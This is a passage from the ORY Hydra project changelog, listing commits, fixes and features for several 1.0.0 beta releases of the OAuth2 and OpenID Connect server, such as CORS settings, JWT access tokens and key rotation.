scope ([#1156](https://github.com/ory/hydra/issues/1156)) ([ccc34de](https://github.com/ory/hydra/commit/ccc34dea62f83a180d9a99cf13db6b837ebf2f03)), closes [#1153](https://github.com/ory/hydra/issues/1153) * Resolves [#1067](https://github.com/ory/hydra/issues/1067) by adding indices to: ([f6653d8](https://github.com/ory/hydra/commit/f6653d80ecbbdeafeb37fa22dedb2fca264623ba)): • `request_id` column in the hydra_oauth2_access & hydra_oauth2_refresh tables • `requested_at` column in the hydra_oauth2_access table * Set fetch order to descending ([#1126](https://github.com/ory/hydra/issues/1126)) ([d291349](https://github.com/ory/hydra/commit/d2913495770dae502ed095fd04fe42348435f2bb)) * Update all consumers of client store to pass in a context ([093762a](https://github.com/ory/hydra/commit/093762a9068f8559fde04f03379cac0d76436715)) * Update consent manager method signatures to take in a context and update all consumers ([ceb9592](https://github.com/ory/hydra/commit/ceb959293f1f012b1133c0a490a1e8a3262bbbe0)) * Update fosite to 0.27.3 ([#1164](https://github.com/ory/hydra/issues/1164)) ([e0143b2](https://github.com/ory/hydra/commit/e0143b2edd033243f55155394a2c53613a1d5cf8)) * Update interface to take in context ([4a8a383](https://github.com/ory/hydra/commit/4a8a383dec7f3fea0fa3c685138b801342cdc528)) * Update manager to take in context and update all consumers ([404bdd7](https://github.com/ory/hydra/commit/404bdd711f695b168e36ab5fbea117627626681c)) * Update RS256JWTStrategy to adhere to the new interface ([a190bee](https://github.com/ory/hydra/commit/a190bee53c743bb632690077cd571e69a4586047)) * Update store to use context aware db methods ([18501f5](https://github.com/ory/hydra/commit/18501f57fff8352550fdfe9dfabc2204ed508b96)) * Update stores, migrations and their associated tests to accept and propagate context ([b5c3968](https://github.com/ory/hydra/commit/b5c396892bfea9e8a602375aaccc6074a4732c18)) * Update swagger endpoint definition ([#1166](https://github.com/ory/hydra/issues/1166)) ([89f5960](https://github.com/ory/hydra/commit/89f5960c9ae73072c9463be2feef6e033b628393)), closes [#1070](https://github.com/ory/hydra/issues/1070) * Update to ory/x:v0.0.29 ([88a1fcb](https://github.com/ory/hydra/commit/88a1fcb1b0427505c56e74bf82a370b74f3376dc)) * Upgrade to fosite 0.27.4 ([#1171](https://github.com/ory/hydra/issues/1171)) ([a714a63](https://github.com/ory/hydra/commit/a714a63566e8c306af95b70257f062774572ad8d)), closes [#1025](https://github.com/ory/hydra/issues/1025) * Upgrade to fosite 0.27.4 ([#1171](https://github.com/ory/hydra/issues/1171)) ([e42e7be](https://github.com/ory/hydra/commit/e42e7bed9c80216132688ac33ca646113328a7ec)), closes [#1025](https://github.com/ory/hydra/issues/1025) * Upgrade to fosite 0.28.0 ([#1172](https://github.com/ory/hydra/issues/1172)) ([3d5b727](https://github.com/ory/hydra/commit/3d5b7273fafb9543d1efe8ed9c78923a5d1e6b0f)), closes [#1088](https://github.com/ory/hydra/issues/1088): This patch enables refresh token expiry. * Upgrade to fosite 0.28.0 ([#1172](https://github.com/ory/hydra/issues/1172)) ([196a85f](https://github.com/ory/hydra/commit/196a85f6544fb7a6f24edfb51de7946efdf7986e)), closes [#1088](https://github.com/ory/hydra/issues/1088): This patch enables refresh token expiry. * Upgrades to ory/x 0.0.30 ([964eaa3](https://github.com/ory/hydra/commit/964eaa3c81699a86f3012b19f9d388585bf0397e)), closes [#1191](https://github.com/ory/hydra/issues/1191) * Use context aware db methods ([dbeb473](https://github.com/ory/hydra/commit/dbeb4734525c5e19466a31017542c67e469301de)) * Use context aware db methods ([bb77d59](https://github.com/ory/hydra/commit/bb77d5935cae6e67b811925ae3846315e89cc173)) * Use context aware db methods ([5ac7b15](https://github.com/ory/hydra/commit/5ac7b15e752fd91b6e524a3794ae3c588a283151)) * Use instrumented bcrypt hasher if tracing has been enabled ([acea751](https://github.com/ory/hydra/commit/acea751a671606206760fd02f6eb336019e08dc5)) * Use new api groups everywhere ([700a4a2](https://github.com/ory/hydra/commit/700a4a2efff7d770fffb98f098314d714d60266e)) * Wellknown should use corsMiddleware ([#1116](https://github.com/ory/hydra/issues/1116)) ([c260199](https://github.com/ory/hydra/commit/c26019929b8220a0b9a8db976ea8f46c9117e78a)) # [1.0.0-beta.9](https://github.com/ory/hydra/compare/v1.0.0-beta.8...v1.0.0-beta.9) (2018-09-01) docker: Update compose definitions (#1020) Signed-off-by: arekkas <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-beta.8 ([4a1489b](https://github.com/ory/hydra/commit/4a1489b9b636cd0fef6f9089ea7677cad996b20e)) * Update migration guide ([f8bb760](https://github.com/ory/hydra/commit/f8bb7609f4869778aeb32981e25a8a1c14498202)) ### Unclassified * Delete Procfile (#1001) ([84b2dff](https://github.com/ory/hydra/commit/84b2dff111f273327f519c45fba72daf48d88e06)), closes [#1001](https://github.com/ory/hydra/issues/1001) * Accept expired JWTs as id_token_hint ([#1017](https://github.com/ory/hydra/issues/1017)) ([67346d3](https://github.com/ory/hydra/commit/67346d3b9c640f83e7c41bb300f3d39736c644d0)), closes [#1014](https://github.com/ory/hydra/issues/1014) * Add ability to rotate SYSTEM_SECRET ([929cbe5](https://github.com/ory/hydra/commit/929cbe55ff5b47d2fdd380388ce3033000a92448)), closes [#73](https://github.com/ory/hydra/issues/73) * Add new methods to SDK interface ([#994](https://github.com/ory/hydra/issues/994)) ([fed7823](https://github.com/ory/hydra/commit/fed78237b61e5ffd9180f6f4730cfdc2d15d608a)), closes [#991](https://github.com/ory/hydra/issues/991) * Add version to banner ([#995](https://github.com/ory/hydra/issues/995)) ([f819f6d](https://github.com/ory/hydra/commit/f819f6d3922a908ce62194c8dfd710a96f6d828f)), closes [#987](https://github.com/ory/hydra/issues/987) * Clarify HYDRA_ADMIN_URL in missing endpoint message ([#1018](https://github.com/ory/hydra/issues/1018)) ([cf20b4f](https://github.com/ory/hydra/commit/cf20b4f21b815f5880c81b5f41e4b795ee3ded80)), closes [#1016](https://github.com/ory/hydra/issues/1016) * Disable CORS by default ([#997](https://github.com/ory/hydra/issues/997)) ([251bd5c](https://github.com/ory/hydra/commit/251bd5c5b1cf84b012c33cda0fc27db2cfdf48fa)), closes [#996](https://github.com/ory/hydra/issues/996): This patch introduces environment variable `CORS_ENABLED` which toggles CORS. * Disable plugin backend through 'noplugin' tag ([#986](https://github.com/ory/hydra/issues/986)) ([96f4cb3](https://github.com/ory/hydra/commit/96f4cb3cc11d2befbce453d5c2e0fed3a85fa72a)): Debugging Hydra in Go 1.10 and 1.11 (confirmed by one of its members), is not possible due to [this unresolved bug](https://github.com/golang/go/issues/23733) which is related to the use of the plugin functionality. This change allows passing a build tag which will disable plugin implementation and therefore allow to debug in all the use-cases where plugin backend is not needed. * Enable client specific CORS settings ([#1009](https://github.com/ory/hydra/issues/1009)) ([a36d0af](https://github.com/ory/hydra/commit/a36d0af611582985de5d7e939d059425b1b30d45)), closes [#975](https://github.com/ory/hydra/issues/975): Field `allowed_cors_origins` was added to OAuth 2.0 Clients. It enables CORS for the whitelisted URLS for paths which clients interact with, such as /oauth2/token. * Fix serve all cmd in docker files ([#1000](https://github.com/ory/hydra/issues/1000)) ([bba5287](https://github.com/ory/hydra/commit/bba5287f21d0de235b2b424eb0fe1292bae8af08)) * Fix use of uninitialized logger ([#1015](https://github.com/ory/hydra/issues/1015)) ([6549f1e](https://github.com/ory/hydra/commit/6549f1e9cfc7a05df82b35f9e71be511e3ce9a47)): The MustValidate() function is sometimes called before any other logging function has been called and this results in a crash. An easy way to reproduce the crash is to change OAUTH2_ACCESS_TOKEN_STRATEGY=jwt in the default docker-compose.yml * Forward session and login information ([2217103](https://github.com/ory/hydra/commit/2217103e056d98c384656df2e8dc08fcab8c0b98)), closes [#1003](https://github.com/ory/hydra/issues/1003): Consent and login requests now carry context information for previous requests. * Populate consent session with default values ([#989](https://github.com/ory/hydra/issues/989)) ([c67b7fe](https://github.com/ory/hydra/commit/c67b7fe7475a50c2ea33817ecef4bb4533280867)), closes [#988](https://github.com/ory/hydra/issues/988) * Public subject type should cause public id alg ([#993](https://github.com/ory/hydra/issues/993)) ([3040c0f](https://github.com/ory/hydra/commit/3040c0f6eb9d32957ddb1ec1402f483a49faa10f)), closes [#992](https://github.com/ory/hydra/issues/992) * Remove config option ([5292f6c](https://github.com/ory/hydra/commit/5292f6c379e9fcbb0dbaa6bd188a03fa1b29feda)) * Replace aeneasr/cors with rs/cors ([bb9f8e0](https://github.com/ory/hydra/commit/bb9f8e084218354b5ce2be84ecb47a3d14d63de7)), closes [#1010](https://github.com/ory/hydra/issues/1010) * Resolve broken expiry when refreshing id token ([#1002](https://github.com/ory/hydra/issues/1002)) ([c72e64c](https://github.com/ory/hydra/commit/c72e64cebdc3651b3b554f096d4db618e7f44acc)), closes [#985](https://github.com/ory/hydra/issues/985) * Update compose definitions ([#1020](https://github.com/ory/hydra/issues/1020)) ([f359d08](https://github.com/ory/hydra/commit/f359d0809badec1219d4678afe54ae628b0bdf70)) * Upgrade sqlcon to 0.0.6 ([#1008](https://github.com/ory/hydra/issues/1008)) ([4f0e061](https://github.com/ory/hydra/commit/4f0e06122966ceacd44cfaed2db2093ed788fc5b)), closes [#1007](https://github.com/ory/hydra/issues/1007) * Upgrade to new fosite compose API ([480904f](https://github.com/ory/hydra/commit/480904f380ec94c833aefc833d444b7a5aeda363)) * Use viper for cors detection ([#998](https://github.com/ory/hydra/issues/998)) ([0ea6ba0](https://github.com/ory/hydra/commit/0ea6ba06332279d85c524b0e1bc22aab0e5c4ff3)) # [1.0.0-beta.8](https://github.com/ory/hydra/compare/v1.0.0-beta.7...v1.0.0-beta.8) (2018-08-10) consent: Add logout api endpoint (#984) Closes #970 Signed-off-by: Michael DeRazon <[email protected]> Signed-off-by: arekkas <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-beta.7 ([90abb14](https://github.com/ory/hydra/commit/90abb1408bc8074ea65b3f8ff0bbe48ee7533bfc)) * Update MAINTAINERS ([e459cc2](https://github.com/ory/hydra/commit/e459cc2d32f9953404eb3f52f67b837b85819467)) ### Unclassified * unstaged ([5ca384d](https://github.com/ory/hydra/commit/5ca384d04e4f93d6259045b8823915c40a306e17)) * unstaged ([5026bfb](https://github.com/ory/hydra/commit/5026bfb459e5bd70985680b455daddea724892e6)) * Use spdx expression for license in package.json ([c2a9ca4](https://github.com/ory/hydra/commit/c2a9ca4366f35dc8e7c22fe933f3907d422282e9)) * Add AdminURL and PublicURL to configuration ([191902d](https://github.com/ory/hydra/commit/191902d5c932adffda26a7b6cbe12a5969327447)) * Add and enhance access/refresh token tests ([e79014d](https://github.com/ory/hydra/commit/e79014d33b597740d3bf7923c0e9b55e2ab51155)): This patch introduces more tests for code and refresh flows and the JWT strategy. * Add api endpoint to list all authorized clients by user ([#954](https://github.com/ory/hydra/issues/954)) ([7aace33](https://github.com/ory/hydra/commit/7aace33179541b866f00fa3d14fee17d235a0e18)), closes [#953](https://github.com/ory/hydra/issues/953) * Add flags for newly introduced oidc client settings ([c4b902d](https://github.com/ory/hydra/commit/c4b902d8f86fa4ef03704fc16d17e921e5710e61)), closes [#938](https://github.com/ory/hydra/issues/938) * Add ListUserConsentSessions to OAuth2API interface ([#977](https://github.com/ory/hydra/issues/977)) ([1bd8ab7](https://github.com/ory/hydra/commit/1bd8ab7d6bfe224e33f700959416b5c5e726bdbc)) * Add logout api endpoint ([#984](https://github.com/ory/hydra/issues/984)) ([93dcbcf](https://github.com/ory/hydra/commit/93dcbcf3b9e0726c03b45b7e74ec9ca4c89eab03)), closes [#970](https://github.com/ory/hydra/issues/970) * Add scope to introspection test suite ([#941](https://github.com/ory/hydra/issues/941)) ([2bf24b9](https://github.com/ory/hydra/commit/2bf24b9d92eb989d8079a0a73c2a6b3147bc64ca)) * Adds JWT Access Token strategy ([c932ab4](https://github.com/ory/hydra/commit/c932ab4571f1ae75c526e9b19d5a7c60d533ca41)), closes [#248](https://github.com/ory/hydra/issues/248): This patch adds the (experimental) ability to issue JSON Web Tokens instead of ORY Hydra's opaque access tokens. Please be aware that this feature has had little real-world and unit testing and may not be suitable for production. Simple integration tests using the JWT strategy have been added to ensure functionality. To use the new JWT strategy, set environment variable `OAUTH2_ACCESS_TOKEN_STRATEGY` to `jwt`. For example: `export OAUTH2_ACCESS_TOKEN_STRATEGY=jwt`. Please be aware that we (ORY) do not recommend using the JWT strategy for various reasons. If you can, use the default and recommended "opaque" strategy instead. * Adds subject_type support to oidc discovery ([78e6552](https://github.com/ory/hydra/commit/78e65521c2224e24f670771472fd760067b5ce0a)), closes [#950](https://github.com/ory/hydra/issues/950) * Deprecate `public` flag ([8f71806](https://github.com/ory/hydra/commit/8f7180696d23a68fd73bcec7f1ef46078f34c6dd)), closes [#938](https://github.com/ory/hydra/issues/938): The `public` flag has been deprecated in favor of setting `token_endpoint_auth_method=none`. * Deprecate field `id`, now only `client_id` is to be used ([a8b9b02](https://github.com/ory/hydra/commit/a8b9b022d92be09f59046b7eed5867eccef48bd7)) * Expose ./well-known/jwks.json on public port ([e30d48b](https://github.com/ory/hydra/commit/e30d48b2971b9743a24cf9165dced85029943a35)) * Fix 2-port tests and improve upgrade guide ([f32c97e](https://github.com/ory/hydra/commit/f32c97e844ec3cbfbfc9a53fab8f4c3719c463b4)) * Fix reporting of epected vs. received status codes ([#961](https://github.com/ory/hydra/issues/961)) ([8632a2e](https://github.com/ory/hydra/commit/8632a2e9b50e67d298d24322bc28d86b69e70589)): Asking for a non-existent client results in the following confusing error message: ``` Command failed because calling "GET http://hydra:4444/clients/no-such-client" resulted in status code "200" but code "404" was expected. {"error":"Unable to locate the resource","error_description":"","status_code":404} ``` This commit fixes the expectedStatusCode and response.StatusCode arguments to fmt.Fprintf which were reversed. * Improve "token user" flag defaults ([2172bc0](https://github.com/ory/hydra/commit/2172bc02ed79c7ff7c9f0c22ebb65e3d9914652f)) * Improve CLI tests ([ba34b0c](https://github.com/ory/hydra/commit/ba34b0cbfc85664400e4a7d7116ec02fe35b514d)) * Improve client help messages ([8c08f41](https://github.com/ory/hydra/commit/8c08f41b9a5cd79513fe8e6c3070be9cac494111)) * Improve memory manager error messages ([#978](https://github.com/ory/hydra/issues/978)) ([5093152](https://github.com/ory/hydra/commit/5093152d6e5b7885164ffea98721c21b9e4907b3)), closes [#976](https://github.com/ory/hydra/issues/976) * Improve token endpoint authentication error message ([6885a3f](https://github.com/ory/hydra/commit/6885a3fc94be9cab17e7588ebc0710da840144bf)) * Introduce pairwise support ([479acd7](https://github.com/ory/hydra/commit/479acd7ea7c758740824eee62cae624aadcb7ba1)), closes [#950](https://github.com/ory/hydra/issues/950): This patch introduces the OpenID Connect pairwise Subject Identifier Algorithm. * Introduce public and administrative ports ([cfee3eb](https://github.com/ory/hydra/commit/cfee3eb3d00ae1c97c6b67c9620223cbeefcb13c)), closes [#904](https://github.com/ory/hydra/issues/904): This patch introduces two ports, public and administrative. The public port is responsible for handling API requests to public endpoints such as /oauth2/auth, while the administrative port handles requests to JWK, OAuth 2.0 Client, and Login & Consent endpoints. * Introduce subject type algorithm configuration ([fdd3bb2](https://github.com/ory/hydra/commit/fdd3bb2096dd72ecfb58bd0f654befdd696bbec6)), closes [#950](https://github.com/ory/hydra/issues/950) * Introduce SubjectType to OAuth2 Clients ([e99d820](https://github.com/ory/hydra/commit/e99d8205fe5411c2bcce62ed4053a0bb940499e4)), closes [#950](https://github.com/ory/hydra/issues/950) * Make test-e2e-plugin.sh executable ([299928f](https://github.com/ory/hydra/commit/299928f3397d544f051b35c6413d3b0bb51a7b31)) * Print "active:false" when token is inactive ([#981](https://github.com/ory/hydra/issues/981)) ([2227691](https://github.com/ory/hydra/commit/222769123a3b856648a8b19a5c90adb7c12263a2)), closes [#964](https://github.com/ory/hydra/issues/964): Previously, `omitempty` caused active to be omitted when set to false. * Properly identify revoked login sessions ([f143949](https://github.com/ory/hydra/commit/f143949dff385baaa212fcdc056420486aa8a14f)), closes [#944](https://github.com/ory/hydra/issues/944) * Refactor backend connectivity and bootstrap process ([#956](https://github.com/ory/hydra/issues/956)) ([4ea7496](https://github.com/ory/hydra/commit/4ea749607380523bfede702a8bd871c2cea01c6b)), closes [#949](https://github.com/ory/hydra/issues/949): This patch introduces a new backend interface and improves the plugin loading system. * Refactor OAuth2 JWT strategy as an interface ([#972](https://github.com/ory/hydra/issues/972)) ([e4e3163](https://github.com/ory/hydra/commit/e4e316342e1daf4d7653b4c2e63194aee5241605)) * Removes authorization from introspection ([17e6311](https://github.com/ory/hydra/commit/17e63116c89fa37363c43c7156ec5565f685bbbd)) * Resolve benchmark build issues ([2663d42](https://github.com/ory/hydra/commit/2663d42dbed630615845972c31dece97c5c20a3a)) * Resolve broken tests caused by public flag removal ([1a2250d](https://github.com/ory/hydra/commit/1a2250d959779ed3d3639b5c3e0e1362d8467ee8)) * Resolve remaining benchmark issue ([7d4b708](https://github.com/ory/hydra/commit/7d4b7087c8be28fa509b7dd34af5d419a6d4e3b4)) * Resolves panic when network fails ([7fe4a21](https://github.com/ory/hydra/commit/7fe4a2113e09d3763075ff8575f5d418b0dcc4aa)) * Return proper error when no consent was found ([#980](https://github.com/ory/hydra/issues/980)) ([8c1a290](https://github.com/ory/hydra/commit/8c1a2908d0bb5806f49bf4dd4f7153d3e139b07d)), closes [#959](https://github.com/ory/hydra/issues/959) * Share error details with redirect fallback ([#982](https://github.com/ory/hydra/issues/982)) ([123e37e](https://github.com/ory/hydra/commit/123e37e132c4d55756d48ba898e037865e1d293e)), closes [#974](https://github.com/ory/hydra/issues/974) * Update .dockerignore ([98d85d5](https://github.com/ory/hydra/commit/98d85d5314c4bd3785570916d80988f00f424f32)) * Upgrade sqlcon to 0.0.5 ([#979](https://github.com/ory/hydra/issues/979)) ([0b722b9](https://github.com/ory/hydra/commit/0b722b9636d8ca7046c0b621a03323272399f485)), closes [#880](https://github.com/ory/hydra/issues/880) * Upgrade superagent to 3.7.0 ([ff68f28](https://github.com/ory/hydra/commit/ff68f28b1e21feb9fd584847b2272aef2fc370dd)) * Upgrade to latest sqlcon ([#975](https://github.com/ory/hydra/issues/975)) ([74cf642](https://github.com/ory/hydra/commit/74cf642d7d28e765c722db2774a27b8f3e3de440)), closes [#965](https://github.com/ory/hydra/issues/965) # [1.0.0-beta.7](https://github.com/ory/hydra/compare/v1.0.0-beta.6...v1.0.0-beta.7) (2018-07-16) docs: Improve badge placement ### Documentation * Add OpenID Certification badge and info ([#933](https://github.com/ory/hydra/issues/933)) ([bb8cce3](https://github.com/ory/hydra/commit/bb8cce3a1c5bf8ec7e29b9181349bd2bb86c1211)) * Fix docker linux link ([#920](https://github.com/ory/hydra/issues/920)) ([694b483](https://github.com/ory/hydra/commit/694b483d403fe7c640b89dcca25e2df441e3df7d)): The old one 404's * Improve badge placement ([49faed8](https://github.com/ory/hydra/commit/49faed8c359d982cfcd29ae836743df076a0f881)) * Incorporates changes from version v1.0.0-beta.6 ([ab04898](https://github.com/ory/hydra/commit/ab0489811fa87b7ab80a8d3461cbedb285c74c65)) ### Unclassified * Allow Max-Age to be set to 0 by RememberFor option ([#930](https://github.com/ory/hydra/issues/930)) ([38d591d](https://github.com/ory/hydra/commit/38d591d2627dfdace496032928921df69c33a5cc)) * Auto-remove old keys when upgrading from < beta.7 ([#925](https://github.com/ory/hydra/issues/925)) ([6ca0733](https://github.com/ory/hydra/commit/6ca0733891f9e481b8121d8fbc91be7eca7b8671)), closes [#921](https://github.com/ory/hydra/issues/921) * Check dependencies are defined before instantiation ([#929](https://github.com/ory/hydra/issues/929)) ([f029101](https://github.com/ory/hydra/commit/f0291014476ca2fcabd9cf55ba796e828092aa8d)), closes [#928](https://github.com/ory/hydra/issues/928) * Improve handling of legacy `id` field ([35bf581](https://github.com/ory/hydra/commit/35bf58111b0daf3bbd2c3f5a207c11cae0cf5e21)), closes [#924](https://github.com/ory/hydra/issues/924) * Show error when loading x509 cert fails ([#932](https://github.com/ory/hydra/issues/932)) ([1845a3b](https://github.com/ory/hydra/commit/1845a3bd0fab6d60389677fcdb47535a65146da1)) # [1.0.0-beta.6](https://github.com/ory/hydra/compare/v1.0.0-beta.5...v1.0.0-beta.6) (2018-07-11) vendor: Updates vendor lockfile Signed-off-by: arekkas <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-beta.5 ([fccbfac](https://github.com/ory/hydra/commit/fccbfaccc6a3f7008ebd68cd7c4275346731192a)) ### Unclassified * Add method that forces the endpoint url to be set ([17903c6](https://github.com/ory/hydra/commit/17903c637e7b3fec50c8a5ec1dec664d85dbc6eb)) * Allows import of PEM/DER/JSON encoded keys ([312f8d1](https://github.com/ory/hydra/commit/312f8d1765b24574b83d56f3545a0b6f4d797b64)), closes [#98](https://github.com/ory/hydra/issues/98) * Fix sql migration step for oidc ([#919](https://github.com/ory/hydra/issues/919)) ([ad5e8bc](https://github.com/ory/hydra/commit/ad5e8bc9c36acfe8942e58327e7c25fddcb0fe6b)), closes [#918](https://github.com/ory/hydra/issues/918): A bug was introduced in beta.5 which caused the SQL migrations to fail if data existed in the database already. This patch resolves that and adds test cases for the migration steps by adding data after each migration. * Resolves minor issues in the HTTP handler ([3bbd5e8](https://github.com/ory/hydra/commit/3bbd5e8ab786e911da4194e47b6c4c1d5045c08d)) * Updates vendor lockfile ([a6ec396](https://github.com/ory/hydra/commit/a6ec396e4c5dbae3143d85c89149bdf406740f9c)) # [1.0.0-beta.5](https://github.com/ory/hydra/compare/v1.0.0-beta.4...v1.0.0-beta.5) (2018-07-07) oauth2: Removes tokens when consent is revoked Closes #856 Signed-off-by: arekkas <[email protected]> ### Documentation * Adds link to examples repository ([8a1a1c0](https://github.com/ory/hydra/commit/8a1a1c0b44a586a9f5072146977234b13d4a1243)) * Adds results from oidc self-service test suite ([2aec8c9](https://github.com/ory/hydra/commit/2aec8c909b7b4eeef7410ccc9f0d9acae6311b24)) * Incorporates changes from version v0.11.13 ([663f105](https://github.com/ory/hydra/commit/663f105ddfeb435f28dd6b4e9172eefd99f6704b)) * Incorporates changes from version v1.0.0-beta.4 ([69d37d5](https://github.com/ory/hydra/commit/69d37d57312e3e44ca62489deedd9d0765e3fecc)) * Removes obsolete issue template ([1b86288](https://github.com/ory/hydra/commit/1b862882d0cb2a5cd982a235b4640d5a21d0987c)) * Updates certification startup script ([41ae769](https://github.com/ory/hydra/commit/41ae769f095ba7742a1baebe1223a4129a2fc841)) * Updates error layout ([2a561b4](https://github.com/ory/hydra/commit/2a561b4a26d856c4dc5d4a5872a17fc4d94a66e0)) * Updates oidc certification profiles ([041f244](https://github.com/ory/hydra/commit/041f244bf93608864e87a668f8bd83069bc0b65d)) * Updates upgrade instructions ([1bacd47](https://github.com/ory/hydra/commit/1bacd47d6e2aa2a5f394e112c528e5ff74cf743f)) ### Unclassified * Adds ability to define default client scopes ([215bef3](https://github.com/ory/hydra/commit/215bef3add6e82793fb84b5c77512330ed4675c1)): Environment variable `OIDC_DYNAMIC_CLIENT_REGISTRATION_DEFAULT_SCOPE` was added in order to better implement the OpenID Connect Dynamic Client Registration protocol. The mentioned protocol does not support the concept of whitelisting OAuth 2.0 Scope on a per-client basis. Therefore, the functionality to define the default OAuth 2.0 Scope has been defined. Keep in mind that exposing the OpenID Connect Dynamic Client Registration functionality to the public effectively disables the OAuth 2.0 Scope whitelisting functionality, as each caller of that API can define which OAuth 2.0 Scope a client may request. If you decide to expose that functionality, you should NEVER assume that the granted OAuth 2.0 Scope has any meaning when handling requests at your consent endpoint, or when validating requests with tokens issued by the client_credentials flow. * Adds ability to revoke consent and login sessions ([8780c03](https://github.com/ory/hydra/commit/8780c035614712471a9064136407e0bc67504394)), closes [#856](https://github.com/ory/hydra/issues/856) * Adds jwk rotation and improves jwk codebase ([a463d23](https://github.com/ory/hydra/commit/a463d23ac983ed473d18ab778ac5195ca3160518)) * Adds parameter broadcast to oidc discovery ([1580677](https://github.com/ory/hydra/commit/158067792699849a3ee5d14d140bbf15876345e0)) * Adds private_key_jwt authentication method ([259d63a](https://github.com/ory/hydra/commit/259d63a4deaccfa8549e4b8b47f3424b173e8eb3)) * Adds sector identifier URL ([bfc9d09](https://github.com/ory/hydra/commit/bfc9d09f6dc98a1e9bf57c597223110b238dd78f)) * Adds userinfo tests ([04929d0](https://github.com/ory/hydra/commit/04929d0250e41a832b80d5a8568410cfcf5b2a22)) * Better error detection in jwt key strategy ([a0ac323](https://github.com/ory/hydra/commit/a0ac323a0440b1f8ef77f0c09ad04d74d4f992a2)) * Bumps fosite to request error handling ([734f64d](https://github.com/ory/hydra/commit/734f64d58c18f41daf906801b1ede8d72b1d14e6)) * Bumps fosite version ([92172b1](https://github.com/ory/hydra/commit/92172b11f78a80bb85974598bb55a8a91c186af3)) * Declares grant type refresh_token as supported ([6837046](https://github.com/ory/hydra/commit/6837046546f384838c1d1a3324b23c609211baad)) * Disallow fragments in client's redirect uri ([457b877](https://github.com/ory/hydra/commit/457b877b906b3ee025f6646a44587e275903d242)) * Do not re-use kid when rotating key ([7b39d2b](https://github.com/ory/hydra/commit/7b39d2bfe75950c53c499caa7fe9878151e55a9c)) * Do not recreate keys when refreshing ([09d3ec7](https://github.com/ory/hydra/commit/09d3ec783047f8d431c80319929350e78750654d)) * Enforces proper error layout ([e38891a](https://github.com/ory/hydra/commit/e38891a9857441a61b3f85a83ae68882dde05ab1)) * Exposes proper oidc configuration ([8f2e931](https://github.com/ory/hydra/commit/8f2e9314f2dc12b74c463e6c8197d860ef26d340)) * Fixes broken SDK test ([0e85594](https://github.com/ory/hydra/commit/0e85594ca527a34883ccf48ea1205293798c60d2)) * Fixes typo in swagger docs ([6c6fb3c](https://github.com/ory/hydra/commit/6c6fb3c744de060b4bdffcdae1b1cb12534aebb1)) * Implements dynamic client registration ([ad86dd1](https://github.com/ory/hydra/commit/ad86dd18d3998ba022d3979a7be4d620ca399df3)) * Implements oidc compliant response_type validation ([8f1515a](https://github.com/ory/hydra/commit/8f1515a2d2ddcf25a9400db6d5af149da6992437)) * Implements proper refreshing strategy ([1d02cae](https://github.com/ory/hydra/commit/1d02cae55431efde4e0aaabeb6e6cfd0844f60cd)) * Implements userinfo response signing ([bc0b54c](https://github.com/ory/hydra/commit/bc0b54c5457f99f1778c294b0bbe5eba8b2ea49a)) * Improves and DRYies validation in the handler ([a689cb0](https://github.com/ory/hydra/commit/a689cb07ca962e2d415afb572ac205ddefb6df1a)), closes [#909](https://github.com/ory/hydra/issues/909) * Improves error response style ([725c075](https://github.com/ory/hydra/commit/725c075462fec110692b33835b6358048c0bd8fe)) * Improves jwk generation error message ([45d769a](https://github.com/ory/hydra/commit/45d769a2b808e8f6d3dd6f1fd1f7bfa7c1a0c6ac)) * Improves key rotation logic ([d25766c](https://github.com/ory/hydra/commit/d25766c2b8231f24bb0e1ae2bbc2f484c489e979)) * Improves oauth2 fallback endpoints ([0704589](https://github.com/ory/hydra/commit/0704589933d700cc486be9ab4f16d5db7d2f6d48)) * Improves SQL error handling ([738b281](https://github.com/ory/hydra/commit/738b281d2ed4346d921a9f42d2be68d74087c651)), closes [#903](https://github.com/ory/hydra/issues/903) * Includes fosite's id_token bugfix ([9ef48fa](https://github.com/ory/hydra/commit/9ef48fa00035d1f64a7de58d7126c976f5f5ae38)) * Keep id as alias to client_id ([f344d10](https://github.com/ory/hydra/commit/f344d1070b2eb2ffd0922544b46e75523fca2f8b)) * Key rotation does not rename keys ([53ce537](https://github.com/ory/hydra/commit/53ce537fb6fef0b56a86634c81ae9dc4fb45ac46)) * Properly instantiates client handler ([a40cc49](https://github.com/ory/hydra/commit/a40cc497dd239a9341faec5517ee59d154ef0e4f)) * Properly return errors when resource not found ([200aa81](https://github.com/ory/hydra/commit/200aa816d5f81b139dffbf124fa620d7ebc1362a)) * Refresh signing keys ([7f495e3](https://github.com/ory/hydra/commit/7f495e3571b05f1b08320e6c29818ce362c575c4)) * Removes broken instruction ([ead9b97](https://github.com/ory/hydra/commit/ead9b97a63ccf8aed1cdf84da3669984b5249ab9)) * Removes buggy rotate command and improves jwk refresh ([e41fcf2](https://github.com/ory/hydra/commit/e41fcf263ce9a92e88f59eea62614653836a33b0)) * Removes nesting from error responses ([d511cf8](https://github.com/ory/hydra/commit/d511cf818f96f87a866dc7248d422d5e6e6b02b9)) * Removes tokens when consent is revoked ([00fd517](https://github.com/ory/hydra/commit/00fd517fbf92289c447e3b106f267fbb35d2ee88)), closes [#856](https://github.com/ory/hydra/issues/856) * Renames id to client_id in response payload ([97b7ac1](https://github.com/ory/hydra/commit/97b7ac1a1bb88d4dc0720f7ebe95f7565cf5c890)): Previously, a client's id was sent as field `id`. This patch renames field `id` to `client_id` as mandated by spec: https://openid.net/specs/openid-connect-discovery-1_0.html * Resolves issue where stack traces can't be recovered ([92acfe4](https://github.com/ory/hydra/commit/92acfe4e6969f6adf28e77026c44c34d8615714a)) * Resolves minor test issues ([7399eef](https://github.com/ory/hydra/commit/7399eefb925e8ac06fed45a5d2aa3398fb668c1f)) * Resolves MySQL timing issue in tests ([60d39fe](https://github.com/ory/hydra/commit/60d39fec0b1fd57a8146d3044501b6eed25cceb3)) * Resolves well-known test issues ([ffefb74](https://github.com/ory/hydra/commit/ffefb74e0635c49542d77fda90e307f379ee2c06)) * Simplify error helper ([91c06f0](https://github.com/ory/hydra/commit/91c06f0c3e5cac65ace75fd5a8af9056910c4ccb)) * Support other signing algorithms than RS256 ([072b88b](https://github.com/ory/hydra/commit/072b88ba705a29a4dcd0175154024a364dcca1ba)) * Tests for simple equality in JWT strategy ([95c96a0](https://github.com/ory/hydra/commit/95c96a035bd64e682d9b770058b093f02b19b8d6)) * Updates vendored dependencies ([4b138dc](https://github.com/ory/hydra/commit/4b138dc0dfe260497ec89643603f51e6c1172552)) * Updates vendored dependencies 